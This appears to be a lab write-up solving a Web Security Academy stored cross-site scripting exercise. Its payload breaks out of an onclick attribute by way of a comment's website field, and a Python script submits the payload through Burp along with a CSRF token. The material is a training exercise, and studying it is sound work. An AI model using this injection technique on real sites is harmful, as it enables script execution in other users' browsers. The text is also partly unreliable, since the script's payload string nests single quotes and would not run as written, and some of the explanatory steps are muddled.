XSS Lab 20
Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped#
This lab demonstrates a stored cross-site scripting (XSS) vulnerability in the comment functionality. The application sanitizes or HTML-encodes certain characters (angle brackets and double quotes) and escapes single quotes / backslashes, but the user-controlled value placed in the “Website” field is reflected into an onclick event handler attribute. By carefully crafting the payload and using Burp Suite to intercept and modify requests, it’s possible to inject a JavaScript URL that will execute alert() when the comment author name is clicked.
How Exploit Works#
- The comment
websiteinput is stored and later reflected inside an element’sonclickattribute. - The application HTML-encodes
</>and"and escapes single quotes and backslashes, but the reflected value can still be manipulated to produce ajavascript:-style URL inside theonclickhandler. - Submit a comment with a random marker in the
websitefield, view the post, and intercept the request that renders the comment to find where your marker appears. - Modify the stored value in the intercepted request to a payload that becomes a valid JavaScript call when the author name is clicked.
- Example payload (use in the
websitefield then edit the reflected request):
http://foo?'-alert(1)-' - Right-click the author link (or copy its URL) and open it — clicking the name triggers
alert(1)and completes the lab.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.netcmdExploit#
exploit.py
import requests, sys, urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
def check_burp():
try:
requests.get("http://127.0.0.1:8080", proxies=proxies, timeout=3, verify=False)
except:
print("[-] Burp Suite not running.")
sys.exit(1)
def exploit_xss(url, payload):
s = requests.Session()
s.proxies, s.verify = proxies, False
post_page = url.rstrip("/") + "/post?postId=5"
r = s.get(post_page); r.raise_for_status()
soup = BeautifulSoup(r.text, "html.parser")
csrf = soup.find("input", {"name": "csrf"})["value"]
data = {
"csrf": csrf,
"postId": "5",
"comment": "xss",
"name": "test",
"email": "[email protected]",
"website": payload
}
s.post(url.rstrip("/") + "/post/comment", data=data).raise_for_status()
if "Congratulations" in s.get(url).text:
print("[+] Lab solved! 🎉"); return True
return False
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>"); sys.exit(1)
check_burp()
print("[*] Attempting XSS...")
if exploit_xss(sys.argv[1], 'http://foo?'-alert(1)-''):
print("[+] XSS successful!")
else:
print("[-] XSS unsuccessful.")
if __name__ == "__main__":
main()python